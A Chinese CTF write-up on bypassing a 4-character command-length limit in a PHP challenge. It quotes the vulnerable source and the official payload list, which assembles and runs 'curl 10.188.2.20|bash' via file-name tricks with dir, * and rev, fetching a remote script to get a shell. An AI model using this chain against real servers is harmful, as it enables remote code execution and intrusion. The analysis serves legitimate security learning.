这个题目的条件更加苛刻了,先放个源码
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
简单看一下这段代码比上一次的代码的cmd长度更小,很显然我们就不能再以ls>>_
来将相关的命令覆盖到文件里面了
但是orange大大用的方法真是叹为观止,根据官方payload一步步来分析这里是怎么巧妙的绕过4个字符串的长度的
payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',
# generate "curl orange.tw|python;"
# generate "curl 10.188.2.20|bash"
'>\;\\',
'>sh\\',
'>ba\\',
'>\|\\',
'>20\\',
'>2.\\',
'>8.\\',
'>18\\',
'>0.\\',
'>1\\',
'>\ \\',
'>rl\\',
'>cu\\',
# got shell
'sh x',
'sh g',
]
首先第一个知识点就是Linux下存在dir
命令作为ls
命令的别名,可能有的系统没有,但是对于这道题而言是有的,而且他也是默认以字典序去排列,对于这题而言这个命令起到了拼接文件名的效果,但是注意含有特殊字符以及数字的情况下,字母排序的优先级会降低
第二个点在于单独一个*
的命令有何作用,这个命令会先将当前目录下所有的文件进行一个排序,然后排序后的结果会以命令的形式送去bash
执行,如下图,但是如果有写不是命令的话就会出现command not found
的报错,这样一来我们就可一利用dir
加上*
命令去执行写入文件的操作,这也是这道题目关键之处,利用了逆序执行命令的骚操作,这得对Linux系统多么熟悉啊
接着上就提出下一个知识点,就是利用rev
命令去反向文件的字符串,顾名思义,我们就是要把ls -t >g
这一条命令给逆序过来,这操作很强。这也是为什么要先构造下图中的文件名,你逆序过来就会发现是ls -th >g
有人可能会问为什么会多加一个h
,因为如果不多加h
的话在你执行dir
的时候按字母排序字母t
比s
更靠后,放进v
文件之后以及放入想文件里面是这样的,这就跟我们的目的相违背,不能构造出ls -t >g
了,但是我们构造的是ls -th >g
情况就会有所改观,这个h
实际上没有影响,就是一个改变视图结构的东西,把内存大小变得更加人性化而已。
按照上面所说把v
文件的内容弄好,下面就应该创建一个rev
的文件,为的是利用这个命令,通过*v>x
的方式把逆序后的内容放在x文件里面,到后期可以直接sh执行,*v>x
这个命令的含义就是将所有最后一个字母都是v
的文件排个序,然后执行,因为r在v的前面实际上的命令就是 rev v>x
,所以最后到x
文件里面的内容就是
到这里就跟第一个babyfirst-revenge一样了,后续步骤就不多说了,直接上EXP获取flag2333
小结
1.第一个利用的点是逆序字符串放入文件中在执行,如果让我来想我是绝对想不到的,学习了
2.第二个就是利用了dir
命令完美滴绕过了ls>>x
这个限制
3.Linux下*
命令巧妙使用